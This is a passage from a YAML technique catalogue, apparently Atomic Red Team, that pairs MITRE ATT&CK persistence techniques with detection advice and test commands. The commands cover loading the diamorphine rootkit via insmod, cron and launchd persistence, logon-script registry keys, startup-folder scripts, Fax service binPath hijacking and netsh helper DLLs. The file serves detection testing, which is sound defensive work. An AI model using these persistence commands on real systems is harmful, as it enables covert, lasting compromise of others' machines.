RSAC 2015 San Francisco Patrick Wardle + description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. + Retrieved April 6, 2018. + url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf + - source_name: Synack Secure Kernel Extension Broken + description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel + Extension Loading’ is Broken. Retrieved April 6, 2018. + url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ + - source_name: Securelist Ventir + description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble + your MacOS spy. Retrieved April 6, 2018.' + url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ + - source_name: Wikipedia Loadable Kernel Module + description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved + April 9, 2018. + url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux + - source_name: Linux Loadable Kernel Module Insert and Remove LKMs + description: Henderson, B. (2006, September 24). How To Insert And Remove + LKMs. Retrieved April 9, 2018. + url: http://tldp.org/HOWTO/Module-HOWTO/x197.html + modified: '2019-07-18T15:24:28.077Z' + identifier: T1215 + atomic_tests: + - name: Linux - Load Kernel Module via insmod + description: 'This test uses the insmod command to load a kernel module for + Linux. + + ' + supported_platforms: + - linux + input_arguments: + kernel_module_file: + description: KO object containing kernel module code. + type: path + default: diamorphine.ko + module_name: + description: Kernel module name once loaded. + type: string + default: diamorphine + executor: + name: bash + elevation_required: true + command: 'insmod #{kernel_module_file} + + ' + cleanup_command: 'rmmod #{module_name} + + ' + T1159: + technique: + x_mitre_permissions_required: + - User + - Administrator + x_mitre_data_sources: + - File monitoring + - Process monitoring + name: Launch Agent + description: "Per Apple’s developer documentation, when a user logs in, a per-user + launchd process is started which loads the parameters for each launch-on-demand + user agent from the property list (plist) files found in /System/Library/LaunchAgents, + /Library/LaunchAgents, and $HOME/Library/LaunchAgents + (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) + (Citation: Antiquated Mac Malware). These launch agents have property list + files which point to the executables that will be launched (Citation: OSX.Dok + Malware).\n \nAdversaries may install a new launch agent that can be configured + to execute at login by using launchd or launchctl to load a plist into the + appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods + of Mac Malware Persistence). The agent name may be disguised by using a name + from a related operating system or benign software. Launch Agents are created + with user level privileges and are executed with the privileges of the user + when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for + OS X). They can be set up to execute when a specific user logs in (in the + specific user’s directory structure) or when any user logs in (which requires + administrator privileges)." + id: attack-pattern--dd901512-6e37-4155-943b-453e3777b125 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor Launch Agent creation through additional plist files + and utilities such as Objective-See’s KnockKnock application. Launch Agents + also require files on disk for persistence which can also be monitored via + other file monitoring applications. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1159 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1159 + - source_name: AppleDocs Launch Agent Daemons + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + July 10, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + - source_name: OSX Keydnap malware + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + - source_name: Antiquated Mac Malware + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + - source_name: OSX.Dok Malware + description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web + traffic. Retrieved July 10, 2017. + url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: OSX Malware Detection + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + OS X Malware Detection & Analysis. Retrieved July 10, 2017.' + url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + - source_name: OceanLotus for OS X + description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application + Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. + url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update + modified: '2019-07-18T15:25:53.604Z' + identifier: T1159 + atomic_tests: + - name: Launch Agent + description: 'Create a plist and execute it + + ' + supported_platforms: + - macos + executor: + name: manual + steps: | + 1. Create file - .client + + 2. osascript -e 'tell app "Finder" to display dialog "Hello World"' + + 3. Place the following in a new file under ~/Library/LaunchAgents as com.atomicredteam.plist + + 4. + + + + + KeepAlive + + Label + com.client.client + ProgramArguments + + /Users//.client + + RunAtLoad + + NSUIElement + 1 + + + + 5. launchctl load -w ~/Library/LaunchAgents/com.atomicredteam.plist + T1160: + technique: + x_mitre_permissions_required: + - Administrator + x_mitre_data_sources: + - Process monitoring + - File monitoring + name: Launch Daemon + description: "Per Apple’s developer documentation, when macOS and OS X boot + up, launchd is run to finish system initialization. This process loads the + parameters for each launch-on-demand system-level daemon from the property + list (plist) files found in /System/Library/LaunchDaemons and + /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). + These LaunchDaemons have property list files which point to the executables + that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries + may install a new launch daemon that can be configured to execute at startup + by using launchd or launchctl to load a plist into the appropriate directories + (Citation: OSX Malware Detection). The daemon name may be disguised by using + a name from a related operating system or benign software (Citation: WireLurker). + Launch Daemons may be created with administrator privileges, but are executed + under root privileges, so an adversary may also use a service to escalate + privileges from administrator to root.\n \nThe plist file permissions must + be root:wheel, but the script or program that it points to has no such requirement. + So, it is possible for poor configurations to allow an adversary to modify + a current Launch Daemon’s executable and gain persistence or Privilege Escalation." + id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor Launch Daemon creation through additional plist files + and utilities such as Objective-See's Knock Knock application. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + x_mitre_effective_permissions: + - root + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1160 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1160 + - source_name: AppleDocs Launch Agent Daemons + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + July 10, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: OSX Malware Detection + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + OS X Malware Detection & Analysis. Retrieved July 10, 2017.' + url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + - source_name: WireLurker + description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + Retrieved July 10, 2017.' + url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + modified: '2019-07-18T15:26:40.592Z' + identifier: T1160 + atomic_tests: + - name: Launch Daemon + description: 'Utilize LaunchDaemon to launch `Hello World` + + ' + supported_platforms: + - macos + executor: + name: manual + steps: | + 1. Place the following file (com.example.hello) in /System/Library/LaunchDaemons or /Library/LaunchDaemons + 2. + + + + + Label + com.example.hello + ProgramArguments + + hello + world + + KeepAlive + + + + T1152: + technique: + x_mitre_permissions_required: + - User + - Administrator + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + name: Launchctl + description: "Launchctl controls the macOS launchd process which handles things + like launch agents and launch daemons, but can execute other commands or programs + itself. Launchctl supports taking subcommands on the command-line, interactively, + or even redirected from standard input. By loading or reloading launch agents + or launch daemons, adversaries can install persistence or execute changes + they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl + is as simple as launchctl submit -l -- /Path/to/thing/to/execute + \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents + or launch daemons can require elevated privileges. \n\nAdversaries can abuse + this functionality to execute code or even bypass whitelisting if launchctl + is an allowed process." + x_mitre_remote_support: false + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-18T15:27:13.077Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1152 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1152 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + - Whitelisting by file name or path + identifier: T1152 + atomic_tests: + - name: Launchctl + description: 'Utilize launchctl + + ' + supported_platforms: + - macos + executor: + name: sh + command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator + + ' + T1168: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + x_mitre_permissions_required: + - Administrator + - User + - root + name: Local Job Scheduling + description: |- + On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). + + ### cron + + System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. + + Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. + + ### at + + The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. + + ### launchd + + Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. + id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Legitimate scheduled jobs may be created during installation + of new software or through administration functions. Jobs scheduled with launchd + and cron can be monitored from their respective utilities to list out detailed + information about the jobs. Monitor process execution resulting from launchd + and cron tasks to look for unusual or unknown applications and behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Anastasios Pingios + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1168 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1168 + - source_name: Die.net Linux crontab Man Page + description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December + 19, 2017. + url: https://linux.die.net/man/5/crontab + - source_name: Die.net Linux at Man Page + description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December + 19, 2017. + url: https://linux.die.net/man/1/at + - source_name: AppleDocs Scheduling Timed Jobs + description: Apple. (n.d.). Retrieved July 17, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html + - source_name: Janicab + description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved + July 17, 2017. + url: http://www.thesafemac.com/new-signed-malware-called-janicab/ + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: Malware Persistence on OS X + description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. + Retrieved July 10, 2017. + url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf + - source_name: Avast Linux Trojan Cron Persistence + description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan + hiding itself with an embedded rootkit. Retrieved January 8, 2018. + url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ + modified: '2019-07-18T15:32:39.720Z' + identifier: T1168 + atomic_tests: + - name: Cron - Replace crontab with referenced file + description: 'This test replaces the current user''s crontab file with the contents + of the referenced file. This technique was used by numerous IoT automated + exploitation attacks. + + ' + supported_platforms: + - macos + - linux + input_arguments: + command: + description: Command to execute + type: string + default: "/tmp/evil.sh" + tmp_cron: + description: Temporary reference file to hold evil cron schedule + type: path + default: "/tmp/persistevil" + executor: + name: bash + command: 'echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} + + ' + - name: Cron - Add script to cron folder + description: 'This test adds a script to a cron folder configured to execute + on a schedule. This technique was used by the threat actor Rocke during the + exploitation of Linux web servers. + + ' + supported_platforms: + - macos + - linux + input_arguments: + command: + description: Command to execute + type: string + default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log + cron_script_name: + description: Name of file to store in cron folder + type: string + default: persistevil + executor: + name: bash + command: 'echo "#{command}" > /etc/cron.daily/#{cron_script_name} + + ' + - name: Event Monitor Daemon Persistence + description: "This test adds persistence via a plist to execute via the macOS + Event Monitor Daemon. \n" + supported_platforms: + - macos + - linux + executor: + name: manual + steps: | + 1. Place this file in /etc/emond.d/rules/atomicredteam.plist + + + + + + name + atomicredteam + enabled + + eventTypes + + startup + + actions + + + command + /usr/bin/say + user + root + arguments + + -v Tessa + I am a persistent startup item. + + type + RunCommand + + + + + + + 2. Place an empty file in /private/var/db/emondClients/ + + 3. sudo touch /private/var/db/emondClients/randomflag + T1037: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + type: attack-pattern + name: Logon Scripts + description: |- + ### Windows + + Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. + + If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. + + ### Mac + + Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. + id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 + x_mitre_platforms: + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Write access to system or domain logon scripts + x_mitre_detection: Monitor logon scripts for unusual access by abnormal users + or at abnormal times. Look for files added or modified by unusual accounts + outside of normal administration duties. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:38.910Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: lateral-movement + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1037 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1037 + - source_name: capec + external_id: CAPEC-564 + url: https://capec.mitre.org/data/definitions/564.html + - source_name: TechNet Logon Scripts + description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved + April 27, 2016. + url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx + - source_name: creating login hook + description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved + July 17, 2017.' + url: https://support.apple.com/de-at/HT2420 + modified: '2019-06-24T14:22:07.921Z' + identifier: T1037 + atomic_tests: + - name: Logon Scripts + description: 'Adds a registry value to run batch script created in the C:\Windows\Temp + directory. + + ' + supported_platforms: + - windows + input_arguments: + script_path: + description: Path to .bat file + type: String + default: "$env:SystemRoot\\Temp\\art.bat" + script_command: + description: Command To Execute + type: String + default: echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037-log.txt + executor: + name: command_prompt + elevation_required: false + command: | + echo cmd /c "#{script_command}" > #{script_path} + REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" + cleanup_command: | + REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f + del #{script_path} >nul 2>nul + del "%USERPROFILE%\desktop\T1037-log.txt" >nul 2>nul + - name: Scheduled Task Startup Script + description: 'Run an exe on user logon or system startup + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + schtasks /create /tn "T1037_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe" + schtasks /create /tn "T1037_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" + cleanup_command: | + schtasks /delete /tn "T1037_OnLogon" /f + schtasks /delete /tn "T1037_OnStartup" /f + - name: Logon Scripts - Mac + description: 'Mac logon script + + ' + supported_platforms: + - macos + executor: + name: manual + steps: "1. Create the required plist file\n\n sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2. + Populate the plist with the location of your shell script\n\n sudo defaults + write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3. + Create the required plist file in the target user's Preferences directory\n\n\t + \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4. + Populate the plist with the location of your shell script\n\n\t defaults + write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" + - name: Supicious vbs file run from startup Folder + description: 'vbs files can be placed in and ran from the startup folder to + maintain persistance + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + Copy-Item $PathToAtomicsFolder\T1037\src\vbsstartup.vbs "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" + Copy-Item $PathToAtomicsFolder\T1037\src\vbsstartup.vbs "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" + cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" + cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" + cleanup_command: | + Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore + Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore + - name: Supicious jse file run from startup Folder + description: | + jse files can be placed in and ran from the startup folder to maintain persistance. + Upon execution, "T1137 Hello, World JSE!" will be printed to the powershell session twice. + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + Copy-Item $PathToAtomicsFolder\T1037\src\jsestartup.jse "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" + Copy-Item $PathToAtomicsFolder\T1037\src\jsestartup.jse "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" + cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" + cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" + cleanup_command: | + Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore + Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore + - name: Supicious bat file run from startup Folder + description: | + bat files can be placed in and executed from the startup folder to maintain persistance. + Upon execution, cmd will be run and immediately closed. + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + Copy-Item $PathToAtomicsFolder\T1037\src\batstartup.bat "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" + Copy-Item $PathToAtomicsFolder\T1037\src\batstartup.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" + Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" + Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" + cleanup_command: | + Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore + Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore + T1031: + technique: + x_mitre_permissions_required: + - Administrator + - SYSTEM + x_mitre_data_sources: + - Windows Registry + - File monitoring + - Process monitoring + - Process command-line parameters + name: Modify Existing Service + description: |- + Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). + + Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. + + Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013) + id: attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: "Look for changes to service Registry entries that do not + correlate with known software, patch cycles, etc. Changes to the binary path + and the service startup type changed from manual or disabled to automatic, + if it does not typically do so, may be suspicious. Tools such as Sysinternals + Autoruns may also be used to detect system service changes that could be attempts + at persistence. (Citation: TechNet Autoruns) \n\nService information is stored + in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line + invocation of tools capable of modifying services may be unusual, depending + on how systems are typically used in a particular environment. Collect service + utility execution and service binary path arguments used for analysis. Service + binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) + commands or scripts.\n\nLook for abnormal process call trees from known services + and for execution of other commands that could relate to Discovery or other + adversary techniques. Services may also be modified through Windows system + management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) + and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional + logging may need to be configured to gather the appropriate data." + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Travis Smith, Tripwire + - Matthew Demaske, Adaptforward + created: '2017-05-31T21:30:34.928Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1031 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1031 + - source_name: capec + external_id: CAPEC-551 + url: https://capec.mitre.org/data/definitions/551.html + - source_name: Twitter Service Recovery Nov 2017 + description: The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. + Retrieved April 9, 2018. + url: https://twitter.com/r0wdy_/status/936365549553991680 + - source_name: Microsoft Service Recovery Feb 2013 + description: Microsoft. (2013, February 22). Set up Recovery Actions to Take + Place When a Service Fails. Retrieved April 9, 2018. + url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11) + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-18T16:20:52.185Z' + identifier: T1031 + atomic_tests: + - name: Modify Fax service to run PowerShell + description: | + This test will temporarily modify the service Fax by changing the binPath to PowerShell + and will then revert the binPath change, restoring Fax to its original state. + + Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn. + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1031 Test'\"" + sc start Fax + cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" + T1128: + technique: + x_mitre_data_sources: + - DLL monitoring + - Windows Registry + - Process monitoring + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Netsh Helper DLL + description: |- + Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. + + Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence) + + Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon) + id: attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - "[netsh](https://attack.mitre.org/software/S0108)" + type: attack-pattern + x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes + in most environments. Monitor process executions and investigate any child + processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh + registry key for any new or suspicious entries that do not correlate with + known system files or benign software. (Citation: Demaske Netsh Persistence)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Matthew Demaske, Adaptforward + created: '2017-05-31T21:31:40.168Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1128 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1128 + - source_name: TechNet Netsh + description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. + url: https://technet.microsoft.com/library/bb490939.aspx + - source_name: Demaske Netsh Persistence + description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL + DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. + url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html + - source_name: Github Netsh Helper CS Beacon + description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved + February 13, 2017. + url: https://github.com/outflankbv/NetshHelperBeacon + modified: '2019-04-29T20:48:01.254Z' + identifier: T1128 + atomic_tests: + - name: Netsh Helper DLL Registration + description: 'Netsh interacts with other operating system components using dynamic-link + library (DLL) files + + ' + supported_platforms: + - windows + input_arguments: + helper_file: + description: Path to DLL + type: Path + default: C:\Path\file.dll + executor: + name: command_prompt + command: 'netsh.exe add helper #{helper_file} + + ' + T1050: + technique: + x_mitre_permissions_required: + - Administrator + - SYSTEM + x_mitre_data_sources: + - Windows Registry + - Process 